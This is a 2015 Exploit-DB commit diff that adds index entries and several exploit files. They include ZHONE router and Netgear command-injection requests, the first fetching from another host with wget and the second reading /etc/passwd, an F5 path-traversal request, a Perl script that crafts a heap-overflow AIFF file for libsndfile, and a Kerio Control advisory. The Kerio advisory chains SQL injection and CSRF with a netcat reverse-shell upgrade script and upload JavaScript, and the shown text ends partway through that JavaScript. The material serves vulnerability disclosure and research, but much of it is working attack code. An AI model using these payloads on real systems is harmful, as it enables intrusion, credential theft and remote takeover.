DB: 2015-10-14

6 new exploits
This commit is contained in:
Offensive Security 2015-10-14 05:03:47 +00:00
parent 8d01bc3899
commit 0182f51e36
7 changed files with 1059 additions and 1 deletions

View file

@ -34595,6 +34595,7 @@ id,file,description,date,author,platform,type,port
38302,platforms/multiple/remote/38302.rb,"w3tw0rk / Pitbul IRC Bot Remote Code Execution",2015-09-23,metasploit,multiple,remote,6667
38303,platforms/osx/local/38303.c,"Cisco AnyConnect 3.1.08009 - Privilege Escalation via DMG Install Script",2015-09-23,"Yorick Koster",osx,local,0
38304,platforms/php/webapps/38304.py,"SMF (Simple Machine Forum) <= 2.0.10 - Remote Memory Exfiltration Exploit",2015-09-24,"Filippo Roncari",php,webapps,0
38447,platforms/multiple/local/38447.pl,"libsndfile 1.0.25 - Heap Overflow",2015-10-13,"Marco Romano",multiple,local,0
38307,platforms/win32/dos/38307.txt,"Windows Kernel - NtGdiBitBlt Buffer Overflow (MS15-097)",2015-09-24,"Nils Sommer",win32,dos,0
38308,platforms/hardware/remote/38308.txt,"TP-LINK TL-WR2543ND Admin Panel Multiple Cross Site Request Forgery Vulnerabilities",2013-02-08,"Juan Manuel Garcia",hardware,remote,0
38309,platforms/php/webapps/38309.txt,"osCommerce Cross Site Request Forgery Vulnerability",2013-02-12,"Jakub Galczyk",php,webapps,0
@ -34685,7 +34686,7 @@ id,file,description,date,author,platform,type,port
38394,platforms/windows/remote/38394.py,"BlazeVideo HDTV Player Standard '.PLF' File Remote Buffer Overflow Vulnerability",2013-03-19,metacom,windows,remote,0
38395,platforms/jsp/webapps/38395.txt,"ManageEngine ServiceDesk Plus <= 9.1 build 9110 - Path Traversal",2015-10-05,xistence,jsp,webapps,8080
38399,platforms/windows/dos/38399.py,"LanSpy 2.0.0.155 - Buffer Overflow",2015-10-05,hyp3rlinx,windows,dos,0
38400,platforms/php/webapps/38400.txt,"AlienVault OSSIM - CSRF Vulnerabilities",2015-10-05,"MohamadReza Mohajerani",php,webapps,0
38400,platforms/php/webapps/38400.txt,"AlienVault OSSIM 4.3 - CSRF Vulnerabilities",2015-10-05,"MohamadReza Mohajerani",php,webapps,0
38403,platforms/win32/local/38403.txt,"Truecrypt 7 / VeraCrypt 1.13 - Drive Letter Symbolic Link Creation Privilege Escalation",2015-10-05,"Google Security Research",win32,local,0
38404,platforms/windows/dos/38404.py,"LanWhoIs.exe 1.0.1.120 - Stack Buffer Overflow",2015-10-06,hyp3rlinx,windows,dos,0
38405,platforms/windows/dos/38405.py,"Last PassBroker 3.2.16 - Stack-Based Buffer Overflow",2015-10-06,Un_N0n,windows,dos,0
@ -34726,3 +34727,8 @@ id,file,description,date,author,platform,type,port
38440,platforms/php/webapps/38440.txt,"phpMyAdmin 'tbl_gis_visualization.php' Multiple Cross Site Scripting Vulnerabilities",2013-04-09,waraxe,php,webapps,0
38441,platforms/php/webapps/38441.txt,"WordPress Spiffy XSPF Player Plugin 'playlist_id' Parameter SQL Injection Vulnerability",2013-04-10,"Ashiyane Digital Security Team",php,webapps,0
38444,platforms/win32/dos/38444.py,"Tomabo MP4 Converter 3.10.12 - 3.11.12 (.m3u) Denial of service (Crush application)",2015-10-11,"mohammed Mohammed",win32,dos,0
38448,platforms/hardware/webapps/38448.txt,"F5 Big-IP 10.2.4 Build 595.0 Hotfix HF3 - File Path Traversal Vulnerability",2015-10-13,"Karn Ganeshen",hardware,webapps,0
38449,platforms/hardware/webapps/38449.txt,"Netgear Voice Gateway 2.3.0.23_2.3.23 - Multiple Vulnerabilities",2015-10-13,"Karn Ganeshen",hardware,webapps,0
38450,platforms/php/webapps/38450.txt,"Kerio Control <= 8.6.1 - Multiple Vulnerabilities",2015-10-13,"Raschin Tavakoli",php,webapps,0
38452,platforms/windows/local/38452.txt,"CDex Genre 1.79 - Stack Buffer Overflow",2015-10-13,Un_N0n,windows,local,0
38453,platforms/hardware/remote/38453.txt,"ZHONE < S3.0.501 - Multiple Vulnerabilities",2015-10-13,"Lyon Yang",hardware,remote,0

Can't render this file because it is too large.

View file

@ -0,0 +1,147 @@
Vantage Point Security Advisory 2015-002
========================================
Title: Multiple Vulnerabilities found in ZHONE
Vendor: Zhone
Vendor URL: http://www.zhone.com
Device Model: ZHONE ZNID GPON 2426A
(24xx, 24xxA, 42xx, 42xxA, 26xx, and 28xx series models)
Versions affected: < S3.0.501
Severity: Low to medium
Vendor notified: Yes
Reported:
Public release:
Author: Lyon Yang <lyon[at]vantagepoint[dot]sg> <lyon.yang.s[at]gmail[dot]com>
Summary:
--------
1. Insecure Direct Object Reference (CVE-2014-8356)
---------------------------------------------------
The administrative web application does not enforce authorization on the server side. User access is restricted via Javascript only, by display available functions for each particular user based on their privileges. Low privileged users of the Zhone Router can therefore gain unrestricted access to administrative functionality, e.g. by modifying the javascript responses returned by the Zhone web server.
Affected URL: http://<Router URL>/menuBcm.js
To demonstrate the issue:
1. Set your browser proxy to Burp Suite
2. Add the following option to "Match and Replace". Match for the string 'admin' and replace with your low privilege user:
3. Login to the Zhone Administrative via your browser with Burp Proxy and you will have full administrative access via the Zhone Web Administrative Portal.
2. Admin Password Disclosure (CVE-2014-8357)
--------------------------------------------
Any low-privileged user of the ZHONE Router Web Administrative Portal can obtain all users passwords stored in the ZHONE web server. The ZHONE router uses Base64 encoding to store all users passwords for logging in to the Web Administrative portal. As these passwords are stored in the backup file, a malicious user can obtain all account passwords.
Affected URL: http://<Router URL>/
1. Browse to http://192.168.1.1/backupsettings.html:
2. "View Source" and take note of the sessionKey:
3. Browse to http://<Router
URL>/backupsettings.conf?action=getConfig&sessionKey=<Enter Session
Key Here>. and all user account passwords will be returned.
3. Remote Code Injection (CVE-2014-9118)
----------------------------------------
Remote Command Injection in ZHONE Router Web Administrative Console
Any user of the ZHONE Router can gain command injection on the router and can execute arbitrary commands on the host operating system via the vulnerable ZHONE router web administrative console.
Affected URL:
/zhnping.cmd?&test=traceroute&sessionKey=985703201&ipAddr=192.168.1.1|wget%20http://192.168.1.17/l00per_was_here&ttl=30&wait=3&queries=3
Affected Parameter:
ipAddr
4. Stored Cross-Site Scripting
---------------------------------------------------------------------------------------
The zhnsystemconfig.cgi script is vulnerable to a stored cross-site scripting attack.
Sample HTTP Request:
GET /zhnsystemconfig.cgi?snmpSysName=ZNID24xxA- Route&snmpSysContact=Zhone%20Global%20Support&snmpSysLocation=www.zhone.com %3Cscript%3Ealert(1)%3C/script%3E&sessionKey=1853320716 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/zhnsystemconfig.html
Cookie: dm_install=no; dm_enable=no; hwaddr=54:A0:50:E4:F5:C0
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Connection: keep-alive
Affected Parameters:
1. snmpSysName
2. snmpSysLocation
3. snmpSysContact
5. Privilege Escalation via Direct Object Reference to Upload Settings Functionality
---------------------------------------------------------------------------------------
A low-privileged user can patch the router settings via the /uploadsettings.cgi page. With this functionality, the malicious attacker is able to patch the admin and support password, hence gaining full administrative access to the Zhone router.
Sample POST Request:
POST /uploadsettings.cgi HTTP/1.1
Host: 192.168.1.1
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/updatesettings.html
Cookie: dm_install=no; dm_enable=no; hwaddr=54:A0:50:E4:F5:C0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------- 75010019812050198961998600862
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Content-Length: 88438
-----------------------------75010019812050198961998600862
Content-Disposition: form-data; name="filename"; filename="backupsettings.conf" Content-Type: config/conf
<?xml version="1.0"?> <DslCpeConfig version="3.2">
...
<AdminPassword>dnFmMUJyM3oB</AdminPassword>
...
--- Configuration File Contents ---
</DslCpeConfig>
Fix Information:
----------------
Upgrade to version S3.1.241
Timeline:
---------
2014/10: Issues No. (1 & 2) reported to Zhone
2014/12: Issues No. (1 & 3) reported to Zhone
2015/01: Requested Update
2015/01: Fixes Provided by Zhone, but vulnerabilities still not fixed
2015/02: Sent P.O.C Video to show how vulnerabilities work
2015/03: Fixes Provided by Zhone, but vulnerabilities still not fixed
2015/04: Requested Update
2015/04: Issues No. (4 & 5) reported to Zhone
2015/06: Requested Update
2015/08: Requested Update
2015/09: Fixes for issue 1, 4 and 5 completed by Zhone
2015/10: Confirm that all issues has been fixed
About Vantage Point Security:
--------------------
Vantage Point is the leading provider for penetration testing and security advisory services in Singapore. Clients in the Financial, Banking and Telecommunications industries select Vantage Point Security based on technical competency and a proven track record to deliver significant and measurable improvements in their security posture.
https://www.vantagepoint.sg/
office[at]vantagepoint[dot]sg

View file

@ -0,0 +1,60 @@
# Exploit Title: [F5 BigIP File Path Traversal Vulnerability]
# Discovered by: Karn Ganeshen
# Reported on: April 27, 2015
# New version released on: September 01, 2015
# Vendor Homepage: [www.f5.com]
# Version Reported: [F5 BIG-IP 10.2.4 Build 595.0 Hotfix HF3]
# CVE-2015-4040 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4040
]
# Multiple Additional F5 products & versions are Affected and documented
here:
https://support.f5.com/kb/en-us/solutions/public/17000/200/sol17253.html
*Vulnerability Details*
The handler parameter is vulnerable to file path manipulation attacks. When
we submit a payload
*/tmui/locallb/virtual_server/../../../../WEB-INF/web.xml* in the *handler*
parameter, the file *WEB-INF/web.xml* is returned.
*PoC:*
POST /tmui/Control/form HTTP/1.1
Host: <IP>
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: https://
<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp?&FilterBy=status_availability&Filter=2
Content-Type: application/x-www-form-urlencoded
Content-Length: 1004
Cookie: JSESSIONID=3211A73547444840255BAF39984E7E3F;
BIGIPAuthUsernameCookie=admin;
BIGIPAuthCookie=9B1099DD8A936DDBD58606DA3B5BABC7E82C43A5;
F5_CURRENT_PARTITION=Common;
f5formpage="/tmui/locallb/virtual_server/list.jsp?&";
f5_refreshpage="https%3A//<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp";
f5currenttab="main"; f5mainmenuopenlist=""; f5advanceddisplay=""
_timenow=Fri+Apr+24+14%3a48%3a38+EST+2015&_bufvalue_before=6hU2%2fMbRfPe7OHQ7VVc7TEffOpg%3d&exit_page=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&search_input=*&search_button_before=Search&_timeno
*...[SNIP]...*
fore=&enableObjList_before=&exit_page_before=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&row_count=0&_bufvalue_validation=NO_VALIDATION&disable_before=Disable&exit_button_before=Create...&handler=
*%2ftmui%2flocallb%2fvirtual_server%2f..%2f..%2f..%2f..%2fWEB-INF%2fweb.xml*
*Web.xml is returned in the Response:*
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN"
"http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">
*<!--Automatically created by Tomcat JspC.--><web-app>*
*...[config file output redacted here]...*
*.....*

View file

@ -0,0 +1,82 @@
# Exploit Title: [Netgear Voice Gateway Multiple Vulnerabilities]
# Date: May 01, 2015 [No response from Vendor]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [www.netgear.com]
# Version: [Firmware Version: V2.3.0.23_2.3.23]
*Netgear Voice Gateway Multiple Vulnerabilities *
*Device Info *
Device Type: Netgear Voice Gateway EVG2000
Account Name: EVG2000
Firmware Version: V2.3.0.23_2.3.23
*1. Web application vulnerabilities OS Command Injection *
Netgear Voice Gateway EVG2000 is managed through a web management portal.
The application provides a Diagnostics feature that has four (4) options:
a.Ping an IP address
b.Perform a DNS Lookup
c.Display the Routing Table
d.Reboot the Router
Option 1 Ping an IP address was confirmed to be vulnerable to OS Command
Injection.
The ping_IPAddr parameter does not sufficiently validate input. It is
possible to use the semi-colon character (;) to inject arbitrary OS
commands and retrieve the output in the application's responses.
*PoC*
*HTTP POST Request*
POST /ping.cgi HTTP/1.1
Host: 1.3.3.7
User-Agent: blah
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Referer: http://1.3.3.7/DIAG_diag.htm
Authorization: Basic <b64_value_here>
Content-Length: 69
IPAddr1=1&IPAddr2=3&IPAddr3=3&IPAddr4=7&ping=Ping&ping_IPAddr=1.3.3.7;cat
/etc/passwd
*HTTP Response*
.....
<html-output>
root:<redacted_hash>:0:0:Linux User,,,:/root/:/bin/sh
nobody:*:0:0nobody:/:/bin/sh
admin:<clear-text-admin-pass>:0:0:admin:/:/bin/sh
*2. Web application vulnerabilities Stored Cross-Site Scripting (XSS) *
In the Services menu, the Service Table lists any existing Service-Port
mappings. A new service can be added with a payload value of
*<script>alert(xss)</script>* in the ServiceType parameter.
The application does not check any malicious input and accepted this new
entry. The JavaScript input was then returned unmodified in a subsequent
request for the Services Table Entries.
The web application lacks strict input validation and hence is vulnerable
to Stored Cross-Site Scripting attack.
*3. Application does not secure configured passwords (HTTP) *
Any & all configured sensitive information such as passwords & keys are not
secured properly. These are masked and only ***** is shown in the
corresponding fields.
This client-side restriction can easily be bypassed though. It is possible
to capture masked values via Inspect Element and / or via an intercepting
proxy.
The application should mask/censure (*****) the passwords, keys and any
other crucial pieces of configuration and must not pass the values in
clear-text.

266
platforms/multiple/local/38447.pl Executable file
View file

@ -0,0 +1,266 @@
#!/usr/bin/env perl
#
# Exploit Title: libsndfile <= 1.0.25 (latest version) Heap overflow
# Date: 07 Oct 2015
# Exploit Author: Marco Romano @nemux_
# Vendor Homepage: http://www.mega-nerd.com/libsndfile/
# Version: <= 1.0.25
# Tested on: Ubuntu 15.04 / OS X El Capitan 10.11
#
####################################################################
#
# Author: Marco Romano (@nemux_) - 07 Oct 2015
#
# PoC for libsndfile <= 1.0.25 (latest version) Heap overflow
#
# run ./poc.pl to make nemux.aiff file. Now it can be delivered in different ways.
#
# Possible attack vectors:
# - Firefox (on Linux) -> SWF/Audio play -> pulseaudio -> libsndfile ?? (not tested)
# - Email attachment
# - TCP socket connection (for audio server only)
# - File upload (ex. server side audio file manipulation, interactive voice responder)
# - etc...
# -----------------------------------------------------------------------------------------
# [*] Affected products: -- All products using libsndfile (a non-exhaustive list below)
#
# [-] PusleAudio - http://www.freedesktop.org/wiki/Software/PulseAudio/ (TESTED)
# Installed by default on most linux environments with libsndfile too (Ex.: Ubuntu, Debian)
# [-] Jack AudioConnectionKit- http://www.jackaudio.org (TESTED)
# Available for Linux, Win, OSX (List of applications http://www.jackaudio.org/applications/)
# [-] Adobe Audition - http://www.adobe.com/products/audition.html (TESTED)
# [-] Audacity - http://www.audacityteam.org/ (TESTED)
# [-] Asterisk-eSpeak Module - https://zaf.github.io/Asterisk-eSpeak/ (NOT TESTED)
#
# run an "apt-cache rdepends libsndfile1" to see other interesting dependencies
# searching around i found that library is widely used on IOS and Android projects too
# ------------------------------------------------------------------------------------------
# [*] libsndfile web site references
#
# [-] http://www.mega-nerd.com/libsndfile/
# [-] https://github.com/erikd/libsndfile.git
# [-] https://en.wikipedia.org/wiki/Libsndfile
#
# Note: (wikipedia reports that LAME encoder depends by libsndfile too
# but i didn't find this dependecy...)
########################################################################################
#### Vulnerability is based on the wrong management of the headindex and headend values.
#### While parsing a specially crafted AIFF header the attacker can manage index values
#### in order to use memcpy(...) to overwrite memory heap.
########################################################################################
####
# Some parts of the source code:
#
# -- common.c:337 [*]
# ...
# #define SF_STR_BUFFER_LEN (8192)
# #define SF_HEADER_LEN (4100 + SF_STR_BUFFER_LEN)
# ...
# typedef struct sf_private_tag
# {
# ...
# ...
# /* Index variables for maintaining logbuffer and header above. */
# ...
# int headindex, headend ;
# ...
# /* Virtual I/O functions. */
# int virtual_io ;
# SF_VIRTUAL_IO vio ;
# ...
# ...
# } SF_PRIVATE;
#
# Take a look to the source of aiff.c:
# -- git clone https://github.com/erikd/libsndfile.git
#
# src/aiff.c:403
# while (!done) { ... }
# -->
# src/common.c:
# int psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...) { }
# --> -->
# src/common.c:793
# static int header_read (SF_PRIVATE *psf, void *ptr, int bytes)
# --> --> -->
# src/common.c:
# static int header_read(...) {
# ...
# memcpy (ptr, psf->header + psf->headindex, bytes) ;
# psf->headindex += bytes ;
#
# } /* header_read */
#
# Thourgh a specially crafted AIFF header we can
# 1- increase and decrease the headindex value regardless what should be its real value
# 2- Overwriting memory with arbitrary data...
#
### Pulseudio test on x86_64
#
# Starting program: /usr/bin/paplay nemux.aiff
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
# Program received signal SIGSEGV, Segmentation fault.
# [----------------------------------registers-----------------------------------]
# RAX: 0x41414141 ('AAAA')
# RBX: 0x60d3e0 --> 0x0
# RCX: 0x610a80 --> 0x0
# RDX: 0x44444444 ('DDDD')
# RSI: 0x1
# RDI: 0x7ea
# RBP: 0x36b0
# RSP: 0x7fffffffd958 --> 0x7ffff76cfe71 (pop rbx)
# RIP: 0x41414141 ('AAAA')
# ...
# [-------------------------------------code-------------------------------------]
# Invalid $PC address: 0x41414141
# [------------------------------------------------------------------------------]
# Legend: code, data, rodata, value
# Stopped reason: SIGSEGV
# 0x0000000041414141 in ?? ()
#########
##########################################################################################
my $header_aiff_c = "\x46\x4F\x52\x4D" . ### FORM and VERSION
"\x00\x00\xD0\x7C" .
"\x41\x49\x46\x43" .
"\x42\x56\x45\x52" .
"\x00\x00\x00\x04" .
"\xA2\x80\x51\x40" .
"\x43\x4F\x4D\x4D" . ### COMM Chunk and Compression NONE (PCM)
"\x00\x00\x00\x11" .
"\x00\x01\x00\x00" .
"\x00\x00\x00\x10" .
"\xF3\x0C\xFA\x00" .
"\x00\x00\x00\x00" .
"\x00\x00\x4E\x4F" .
"\x4E\x45\x0E\x6E" .
"\x6F\x74\x20\x63" .
"\x63\x6D\x92\x72" .
"\x65\x73\x53\x65\x64\x00" .
"\x53\x53\x4E\x44" . ### 2 SSND Chunks
"\x00\x00\x00\x40" .
"\x00\x00\x00\xAA" .
"\xBD\xBD\xC5\x58" .
"\xBD\x96\xCA\xB0" .
"\xE9\x6F\x0A\xFE" .
"\x24\xCD\x26\x65" .
"\x73\x73\x65\x64" .
"\x00\x53\x53\x4E" .
"\x44\x00\x00\x00" .
"\x40\x00\x00\x00" .
"\x00\xF8\x72\xF3" .
"\x59\xFB\x56\xFE" .
"\x00\x00\x00\x3E" .
"\xE9\x22\x66\x94" .
"\x4E\x66\x55\x94" .
"\x4E\xD4\xD7\xC5" .
"\x42\x49\x61\xC4" .
"\x43\x4F\x4D\x54" . ### 2 COMT Chunks
"\x00\x00\x00\x26" .
"\x00\x01\x00\x20" .
"\x68\x17\x0C\x10" .
"\x25\x03\x00\x10" . ### 0x2503 items
"\x03\x80\xFF\x37" .
"\x52\x00\x00\x00" .
"\x04\xA2\x8E\x51" .
"\x40\x43\x4F\x4D" .
"\x54\x00\x00\x0B" .
"\x26\x00\x01\x00" .
"\x20\x68" .
"\x17\x00\x10\x03" . ### Start wrong and junk chunks (they will trigger default block in the switch statement in aiff.c)
"\x03\x00\x10\x1B" .
"\x80\xFF\xFF\x4F" .
"\x4E\x45\x1F\x6E" . ### my debug: heap 0x161e0d8
"\x6F\x00\x01\x00" . ### my debug: heap 0x161e0dc
"\x00\xE4\x7F\x72" . ### ...
"\x00\x00\x00\xD7" .
"\xBA\x17\xFF\xE3" .
"\x1F\x40\xFF\x20" .
"\x18\x08\xDD\x18" .
"\x00\x28\x00\x28" .
"\x00\x28\x40\x28" .
"\x00\x28\x00\x28" .
"\x00\x28\xFF\xFF" .
"\xFF\x80\xF7\x17" .
"\x00\x18\x01\x00" .
"\x20\x68\x17\x0C" .
"\x10\x03\x03\x00" .
"\x10\x03\x80\xFF" .
"\xFF\x4F\x4E\x45" .
"\x0A\x6E\x70\x00" .
"\x18\xDE\x3A\x08" .
"\x00\x18\x21\xA6" .
"\x05\x7F\x40\x00" .
"\x08\xFF\x5D\x00" .
"\xF0\x00\x4F\x00" .
"\x6A\xFF\x89\x9D" .
"\xDA\x07\xB6\xFF" .
"\x2C\x92\xB3\x0D" .
"\xE4\x40\xBB\x23" .
"\x00\x18\x00\x38" .
"\x00\x63\x00\x28" .
"\x00\x90\xFF\xFF" .
"\x20\x18\x08\xDD" .
"\x18\x00\x28\x00" .
"\x28\x00\x5E\xFC" .
"\x78\xD9\xAD\xCD" .
"\x9E\x3E\xE9\x21" .
"\x55\x94\x4E\x85" .
"\x51\x94\x4E\xA6" .
"\xD7\xC5\x42\xA7" .
"\x2A\x55\xC4\x9F" .
"\x43\x4F\x4D\x54" . ### here start next COMT Chunk with 0x36B0 items
"\x08\x00\x00\x26" .
"\x00\x01\x00\x20" .
"\x68\x17\x0C\xDD" .
"\x36\xB0"; #### end of header...
my $file= "nemux.aiff";
if ($ARGV[0] eq "h" || $ARGV[0] eq "help") {
print "\n[*] POC for libsndfile <= 1.0.25 (latest version)\n";
print "[*] Heap overflow vulnerability\n";
print "[*] Author: Marco Romano (\@nemux_) - 07 Oct 2015 \n";
print "\n Just run " . $0 . " (output will be \"nemux.aiff\" file)\n\n";
exit 0;
}
my $eax_addr = 0x41414141;
my $edx_addr = 0x44444444;
#####
#### We are going to overwirte psf structure allocated in the heap
#####
my $content_file = pack('Q', $eax_addr);
$content_file .= "\x90" x ( 21146 - length pack('Q',$eax_addr) );
#####
### In the psf structure we will overwrite "int virtual_io" with a true value, and vio.seek function pointer
### with an arbitrary address.
### in this way the block below will be triggred in file_io.c:
### ...
### if (psf->virtual_io)
### return psf->vio.seek (...);
###
#####
my $rax_overwrite = pack('Q',$eax_addr); ### overwrite vio.seek pointer here
my $padding = "\x43" x 24; ### ....
my $rdx_overwrite = pack('Q',$edx_addr); ### overwrite rdx here ...
my $padding_end_file = "MOMIMANHACKERNOW" x 7; ### not useful but funny... -_-
print "\n[*] Making AIFF file: \"nemux.aiff\"";
my $payload = $header_aiff_c . $content_file . $rax_overwrite . $padding . $rdx_overwrite . $padding_end_file;
print "\n[*] Done... AIFF File Size: ".length($payload)."\n";
print "\nIs it over? ... Hello? ... Did we win? (cit.)\n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "\n[+] You can test it on OSX and Linux with Audacity - linux command line /usr/bin/audacity namux.aiff\n";
print "[+] You can test it on OSX Windows and Linux - with Adobe Audition";
print "\nNote: Adobe Audition will trigger the bug just when it scans the directory that contains this aiff file\n\n";
print "Marco Romano \@nemux_\n\n";

444
platforms/php/webapps/38450.txt Executable file
View file

@ -0,0 +1,444 @@
IntelliSec Security Advisory
==============================================================================================
Title: Multiple Vulnerabilities in Kerio Control (Virtual Appliance)
Vulnerabilities: SQL Injection, Remote Code Execution through CSRF
Product: Kerio Control
Homepage: http://www.kerio.com
Affected Version: <= 8.6.1
Fixed Version: 8.6.2 (partially fixed)
Impact: critical
Date: 2015-10-12
Author: Raschin Tavakoli | IntelliSec Research
http://www.intellisec.at
research@intellisec.at
Links: https://youtu.be/EzTI2WlGHb4
===============================================================================================
Vendor description:
===================
Kerio Control is a unified threat management firewall developed by Kerio Technologies. It
features intrusion prevention, content filtering, activity reporting, bandwidth management,
and virtual private networking. Kerio Control runs Linux, providing network perimeter defense
for small to medium organizations.
Vulnerabilities
===============
1. XSS with Anti-XSS-Filter bypass (nonauth area)
2. SQL Injection (non-admin area)
3. Remote Code Execution (admin area)
By chaining the vulnerabilities together in combination with user interaction, an attacker may
gain full control over the firewall and the underlying network.
Attack Scenario
===============
The first attack could be to trick non-admin users to follow a malicious link in order to trigger
a CSRF exploit via the /nonauth/certificate.php script. The script may exploit the SQL Injection
flaw in reports.php for example.
Once able to query the database, sensitive data of the users can be transmitted back to the
attacker. Information of interest could be for example the traffic usage of admin users and their
top-visited webpages.
In the next attack, this information may be used to embed another CSRF exploit into one of
the top-visited webpages. If the attacker succeeds and the exploit gets triggered by a visiting
admin, arbitrary remote code execution will be gained.
===============================================================================================
1. SQL Injection:
===============================================================================================
Short Description:
==================
Kerio Control suffers from an SQL Injection flaw in the report.php script.
Detailed Description:
=====================
It is not necessary to use blind sql injection, as the output will be rendered into an image file.
As the text in the image file has a fixed size, multiple union selects can be combined to render out
multiple images containing the result text of the query.
In order to exploit the issue, a user has to be authenticated. For non-admin users, webreports
have to be enabled.
This issue is fixed in 8.6.2
Proof of Concept:
=================
GET /report.php?id=1'+OR+'1'%3d'1'%3b+-- HTTP/1.1
Host: testbox:4081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: SESSION_CONTROL_WEBIFACE=c0fa6c207d812da1fce3e2ff2bc2e609948988a041f5a23adb64064a42010e6b;
TOKEN_CONTROL_WEBIFACE
For example, to read out the admin's internal UUID number, the following union based sql injection
can be used:
https://testbox:4081/report.php?start=16703, 0, 0) UNION SELECT 'x', 'Admin UUID: ' ||
substring(cast( (select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256))
from 1 for 14), REQUESTS FROM GET_ALL_TOP_WEBS_D(16703, 1) UNION SELECT 'y', substring(cast(
(select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256)) from 15 for 40), '7'
FROM GET_ALL_TOP_WEBS_D(16703, 1);+--+&end=16703&id=0'+OR+USERNAME='Admin';+--+
=======================
2. Cross Site Scripting
=======================
The server parameter in the nonauth/certificate.php script suffers from an non persistent XSS
vulnerability. The payload needs to be base64 encoded and will be decoded at runtime. That way
it bypasses all Anti-XSS Filters of modern browsers, which increases the severity of this issue
significantly.
The issue has been tested with OS X Chrome Version 45.0.2454.101, OS X Safari Version 9.0
(10601.1.56.2), Linux Chromium Version 37.0.2062.120 and Linux Iceweasel 31.8.0
This issue is fixed in 8.6.2
===============================================================================================
3. Remote Command Execution via File Upload
===============================================================================================
Short Description:
==================
Kerio Control suffers from a RCE vulnerability in the upgrade function in the admin interface.
A malicious ssh script can be uploaded and executed with root privileges.
Detail:
=======
The upgrade feature in the admin interface can be used to upload arbitrary files by simply
changing a tar file to the extension .img. If a tar file is created which contains a upgrade.sh shell
script, this script will be executed with root privileges. Kerio did not provide a fix for the
upgrade functionality yet.
========================================
4. Remote Command Execution through CSRF
========================================
The Kerio admin interface does not provide a functionality to execute shell commands on the
underlying Linux system nor a possibility to enable ssh. SSH is disabled by default and can
only be enabled through the Kerio Console Application.
By combining the RCE with an CSRF attack, this vulnerability becomes a serious issue.
Proof of Concept:
=================
Create a Bash Script:
---------------------
# cat upgrade.sh
# #!/bin/bash
# nc 10.0.0.2 5555 -e /bin/bash &
# tar czf upgrade.tar.gz *
# mv upgrade.tar.gz upgrade.img
Open a netcat listener on the attacker's machine 10.0.0.2:
----------------------------------------------------------
# nc -lvp 5555
Generate Javascript Payload (File Upload and Execution):
--------------------------------------------------------
<script>
url='http://10.0.0.1:4081/admin';
_token="";
_file="";
_id = "";
function reqListener () {
obj = JSON.parse(this.responseText);
file = obj.result.fileUpload.name;
id = obj.result.fileUpload.id;
createIFrame(file, id);
}
function createIFrame(file, id) {
iframe=document.createElement("iframe");
iframe.src=url + "/constants.js.php";
iframe.style.display = "none";
iframe.sandbox="allow-scripts allow-same-origin";
iframe.onload=function() {
cookie = iframe.contentWindow.document.cookie;
var re = new RegExp(name + "=([^;]+)");
var value = re.exec(cookie);
var token=(value != null) ? unescape(value[1]) : null;
executeScript(file, id, token);
}
document.body.appendChild(iframe);
}
function executeScript(file, id, token) {
_file = file;
_id = id;
_token = token;
var xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url + "/api/jsonrpc/", true);
xmlhttp.setRequestHeader("X-Token", token);
xmlhttp.addEventListener("load", executeScript2);
xmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.uploadImage","params":{"fileId": file}}));
}
function executeScript2(file, token) {
var xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url +"/api/jsonrpc/", true);
xmlhttp.setRequestHeader("X-Token", _token);
xmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.performCustomUpgrade","params":{"id": _id }}));
}
var xhr = new XMLHttpRequest();
xhr.open("POST", url + "/api/jsonrpc/upload/", true);
xhr.addEventListener("load", reqListener);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1038495162429835808207612951");
xhr.withCredentials = true;
var body = "-----------------------------1038495162429835808207612951\r\n" +
"Content-Disposition: form-data; name=\"uploadImage\"; filename=\"upgrade.img\" \r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
